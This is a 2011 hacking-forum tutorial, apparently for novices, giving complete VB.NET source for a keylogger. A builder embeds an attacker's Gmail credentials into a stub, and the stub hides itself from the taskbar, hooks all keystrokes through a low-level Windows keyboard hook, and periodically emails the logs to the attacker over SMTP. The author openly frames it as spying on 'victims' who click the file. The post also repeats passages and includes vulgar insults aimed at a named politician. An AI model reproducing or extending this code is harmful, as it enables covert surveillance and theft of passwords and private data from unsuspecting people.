Basic keylogger [vb.net] 05-25-2011, 06:12 PM
#1
Heh forum am going to show a basic Keylogger which you can expand . Literally its not mine but ive look at the code once or twice and grab the concept really quickly and expand it
For example you want to make a builder and stub which will send for e.g logs on you mail account when you victims click on it
The Stub contain literally 90% of your code and it will not be visible on-click (by setting its properties) since your server will behave the almost the same way as your stub.
The builder part you will need 2 textbox and 2 label and and 2 button
Label 1 Username Textbox
Label 2 Password Texbox2
Button1 test email
Button2 build
Our builder is ready now our stub (pussy.exe) i will use coder san hook code here(i havent try it) but its good
so here you will need 3 textbox and 1 label.
Textbox1 logs type
Textbox2 email
Texbox 3 password
Timer1 (true) interval you want your logs, 1000 for 1 sec put it atleast 60000
make sure you input this to make the server invisible
Me.Hide()
Me.Opacity = 0
Me.ShowInTaskbar = False
You can customise your own and add lot of option i really hope you like the tutorial do comment
For example you want to make a builder and stub which will send for e.g logs on you mail account when you victims click on it
The Stub contain literally 90% of your code and it will not be visible on-click (by setting its properties) since your server will behave the almost the same way as your stub.
The builder part you will need 2 textbox and 2 label and and 2 button
Label 1 Username Textbox
Label 2 Password Texbox2
Button1 test email
Button2 build
Code:
Imports System.Windows.Forms
Imports Microsoft.Win32
Imports System.IO
Imports System.Net.Mail
Imports System.Net
Public Class Form1
Dim milf, text1, text2 As String
Const FileSplit = "@fuckyousharahpalin@"
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Try
Dim Mail As New MailMessage
Mail.Subject = "Tr0ne banging palint"
Mail.To.Add(TextBox1.Text)
Mail.From = New MailAddress(TextBox1.Text)
Mail.Body = "stop being a leech bitch got a penis"
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
SMTP.Port = 587
SMTP.Send(Mail)
MsgBox("E-mail is vaild and works perfect.", MsgBoxStyle.Information, "Works perfect")
Catch ex As Exception
MsgBox("Error, invaild e-mail username or password.", MsgBoxStyle.Critical, "Error")
Exit Sub
End Try
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
text1 = TextBox1.Text
text2 = TextBox2.Text
FileOpen(1, Application.StartupPath & "\pussy.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
milf = Space(LOF(1))
FileGet(1, milf)
FileClose(1)
If File.Exists(Application.StartupPath & "\server.exe") Then
My.Computer.FileSystem.DeleteFile(Application.StartupPath & "\server.exe")
End If
FileOpen(1, Application.StartupPath & "\server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, milf & FileSplit & text1 & FileSplit & text2 )
FileClose(1)
MsgBox("Tr0ne Server Was Created Successfully In : " & Application.StartupPath & "\server.exe")
End Sub
Our builder is ready now our stub (pussy.exe) i will use coder san hook code here(i havent try it) but its good
so here you will need 3 textbox and 1 label.
Textbox1 logs type
Textbox2 email
Texbox 3 password
Timer1 (true) interval you want your logs, 1000 for 1 sec put it atleast 60000
make sure you input this to make the server invisible
Me.Hide()
Me.Opacity = 0
Me.ShowInTaskbar = False
Code:
Imports Microsoft.Win32
Imports System.IO
Imports System.Net.Mail
Imports System.Environment
Imports System.Net.Mail.MailMessage
Imports System.Collections.Generic
Imports System.Text
Imports System
Imports System.Data
Imports System.Net
Imports System.Collections
Imports System.Runtime.InteropServices
Public Class Form1
Dim options(), text1, text2 As String
Const FileSplit = "@fuckyousharahpalin@"
Private Declare Function RegisterServiceProcess Lib "Kernel32.dll" (ByVal dwProcessId As Integer, ByVal dwType As Integer) As Integer
Public Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Integer, ByVal lpFileName As String, ByVal nSize As Integer) As Integer
Public Declare Function ExitProcess Lib "kernel32" Alias "ExitProcess" (ByVal uExitCode As UInteger) As Integer
Public Declare Function MoveFile Lib "kernel32" Alias "MoveFileExW" (<[In](), MarshalAs(UnmanagedType.LPTStr)> ByVal lpExistingFileName As String, <[In](), MarshalAs(UnmanagedType.LPTStr)> ByVal lpNewFileName As String, ByVal dwFlags As Long) As Integer
Public Class KeyboardHook
Private Const HC_ACTION As Integer = 0
Private Const WH_KEYBOARD_LL As Integer = 13
Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101
Private Const WM_SYSKEYDOWN = &H104
Private Const WM_SYSKEYUP = &H105
Private Structure KBDLLHOOKSTRUCT
Public vkCode As Integer
Public scancode As Integer
Public flags As Integer
Public time As Integer
Public dwExtraInfo As Integer
End Structure
Private Declare Function SetWindowsHookEx Lib "user32" _
Alias "SetWindowsHookExA" _
(ByVal idHook As Integer, _
ByVal lpfn As KeyboardProcDelegate, _
ByVal hmod As Integer, _
ByVal dwThreadId As Integer) As Integer
Private Declare Function CallNextHookEx Lib "user32" _
(ByVal hHook As Integer, _
ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByVal lParam As KBDLLHOOKSTRUCT) As Integer
Private Declare Function UnhookWindowsHookEx Lib "user32" _
(ByVal hHook As Integer) As Integer
Private Delegate Function KeyboardProcDelegate _
(ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByRef lParam As KBDLLHOOKSTRUCT) As Integer
Public Shared Event KeyDown(ByVal Key As Keys)
Public Shared Event KeyUp(ByVal Key As Keys)
Private Shared KeyHook As Integer
Private Shared KeyHookDelegate As KeyboardProcDelegate
Public Sub New()
KeyHookDelegate = New KeyboardProcDelegate(AddressOf KeyboardProc)
KeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHookDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
End Sub
Private Shared Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
If (nCode = HC_ACTION) Then
Select Case wParam
Case WM_KEYDOWN, WM_SYSKEYDOWN
RaiseEvent KeyDown(CType(lParam.vkCode, Keys))
Case WM_KEYUP, WM_SYSKEYUP
RaiseEvent KeyUp(CType(lParam.vkCode, Keys))
End Select
End If
Return CallNextHookEx(KeyHook, nCode, wParam, lParam)
End Function
Protected Overrides Sub Finalize()
UnhookWindowsHookEx(KeyHook)
MyBase.Finalize()
End Sub
End Class
Private WithEvents kbHook As New KeyboardHook
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
Dim strin As String = Nothing
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Hide()
Me.Opacity = 0
Me.ShowInTaskbar = False
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
text1 = Space(LOF(1)) 'username
text2 = Space(LOF(1)) 'password
FileGet(1, text1) ' options(1) username
FileGet(1, text2) ' options(2) password
FileClose(1)
options = Split(text1, FileSplit)
TextBox2.Text = options(1) 'username
TextBox3.Text = options(2) 'password
End Sub
Private Sub kbHook_KeyDown(ByVal Key As System.Windows.Forms.Keys) Handles kbHook.KeyDown
Dim bShift As Boolean = My.Computer.Keyboard.ShiftKeyDown
Dim bCaps As Boolean = My.Computer.Keyboard.CapsLock
Dim strBuilder As New System.Text.StringBuilder
Select Case CInt(Key)
Case 48 To 57
Dim ArrNum As Char() = {")", "!", "@", "#", "$", "%", "^", "&", "*", "("}
strBuilder.Append(If(bShift = True, ArrNum(CInt(Key) - 48), CInt(Key) - 48))
Case 65 To 90
If (bShift = False And bCaps = False) Or (bShift = True And bCaps = True) Then
strBuilder.Append(Key.ToString.ToLower)
ElseIf (bShift = False And bCaps = True) Or (bShift = True And bCaps = False) Then
strBuilder.Append(Key.ToString.ToUpper)
End If
Case 96 To 105
strBuilder.Append(CInt(Key) - 96)
Case 186 To 192
Dim ArrSymbShift As Char() = {":", "+", "<", "_", ">", "?", "~"}
Dim ArrSymb As Char() = {";", "=", ",", "-", ".", "/", "`"}
strBuilder.Append(If(bShift = True, ArrSymbShift(CInt(Key) - 186), ArrSymb(CInt(Key) - 186)))
Case 219 To 222
Dim ArrSymbShift As Char() = {"{", "|", "}", """"}
Dim ArrSymb As Char() = {"[", "\", "]", "'"}
strBuilder.Append(If(bShift = True, ArrSymbShift(CInt(Key) - 219), ArrSymb(CInt(Key) - 219)))
Case Else
Select Case Key
Case Keys.Back
strBuilder.Append("â†ÂÂ")
Case Keys.Return
strBuilder.Append("↵" & vbNewLine)
Case Keys.Space
strBuilder.Append(" ")
Case Keys.Tab
strBuilder.Append("[TAB]")
Case Keys.End
strBuilder.Append("[END]")
Case Keys.Escape
strBuilder.Append("[ESC]")
Case Keys.Divide
strBuilder.Append("/")
Case Keys.Decimal
strBuilder.Append(".")
Case Keys.Subtract
strBuilder.Append("-")
Case Keys.Add
strBuilder.Append("+")
Case Keys.Multiply
strBuilder.Append("*")
End Select
End Select
TextBox1.AppendText(strBuilder.ToString)
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress(TextBox2.Text)
MyMailMessage.To.Add(TextBox2.Text)
MyMailMessage.Subject = "Tr0ne keylogger logs"
MyMailMessage.Body = TextBox1.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
TextBox1.Clear()
End Sub
End Class
You can customise your own and add lot of option i really hope you like the tutorial do comment